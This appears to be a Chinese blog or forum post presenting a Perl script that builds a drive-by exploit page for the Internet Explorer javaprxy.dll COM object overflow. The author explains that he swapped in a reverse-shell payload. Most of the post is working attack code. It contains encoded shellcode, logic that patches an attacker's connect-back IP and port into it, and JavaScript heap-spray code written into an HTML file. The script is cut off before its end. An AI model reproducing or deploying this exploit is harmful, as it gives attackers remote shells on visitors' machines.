Microsoft Internet Explorer javaprxy.dll COM Object 溢出漏洞是前两天刚刚公布的,类似这样的漏洞我在以前也发过一个。这个漏洞的原理我不多说,总之又是IE的一个洞洞。漏洞利用方式依然采用暴力扩大内存的方式,我这里修改主要针对shellcode做了修改。 本地监听的shellcode没什么利用价值,还是反向的来得舒服。但是这个shellcode修改不是那么容易的是,为了防止shellcode被unicode编码所以要采用点小措施来方法。
整个程序我已经写出来了,如下,完全perl代码:
#! /usr/bin/perl #doomie.pl
use strict; use Socket;
my $reverse_shell="\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA". "\xEB\x05\xE8\xEB\xFF\xFF\xFF". "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12". "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99". "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12". "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99". "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9". "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D". "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA". "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32". "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10". "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8". "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66". "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5". "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8". "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A". "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12". "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A". "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C". "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33". "\xF9\x7E\xE0\x5F\xE0";
my $shellcode_text; print "\tMicrosoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n\n"; print "\t\t connect back shell rewritten by 无敌最寂寞[EST]\n\n"; print " Usage:\n\tdoomie.pl <connect-back-ip> <connect-back-port> [destination file]\n\n"; print " Attention:if [destination file] is omitted,superlone.html will be default!\n\n"; my $ip=shift || die "[-]ERROR! connect back ip must be specified!\n"; my $port=shift || die "[-]ERROR!connect back port must be specified!\n"; my $file=shift || "superlone.html"; print "[+]Generating Shellcode ......"; $ip=inet_aton($ip); $ip=$ip^(pack "L",0x99999999); $port=(pack "n",$port)^(pack "S",0x9999); substr($reverse_shell,118,2)=$port; substr($reverse_shell,111,4)=$ip;
#open(FILE,">temp"); #binmode(FILE); #print FILE $reverse_shell; #close(FILE); my $len=length($reverse_shell); my @temp; my $i=0; while($i<$len){ $temp[$i]=sprintf("%.2x",ord(substr($reverse_shell,$i,1))); $i++; } $i=0;
while($i<$len) { if($i % 2!=0) { $shellcode_text.="%u".$temp[$i].$temp[$i-1]; } $i++; } print "DONE\n"; print "[+]Creating exploitable file ......"; my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n"; my $jedi="shellcode = unescape(\"%u4343\"+\"%u4343\"+\"$shellcode_text\");\n"; # Memory my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n". "headersize = 20;\n". "slackspace = headersize+shellcode.length;\n". "while (bigblock.length<slackspace) bigblock+=bigblock;\n". "fillblock = bigblock.substring(0, slackspace);\n". "block = bigblock.substring(0, bigblock.length-slackspace);\n". "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n". "memory = new Array();\n". "for (i=0;i<750;i++) memory[i] = block + shellcode;\n". "</SCRIPT>\n";
|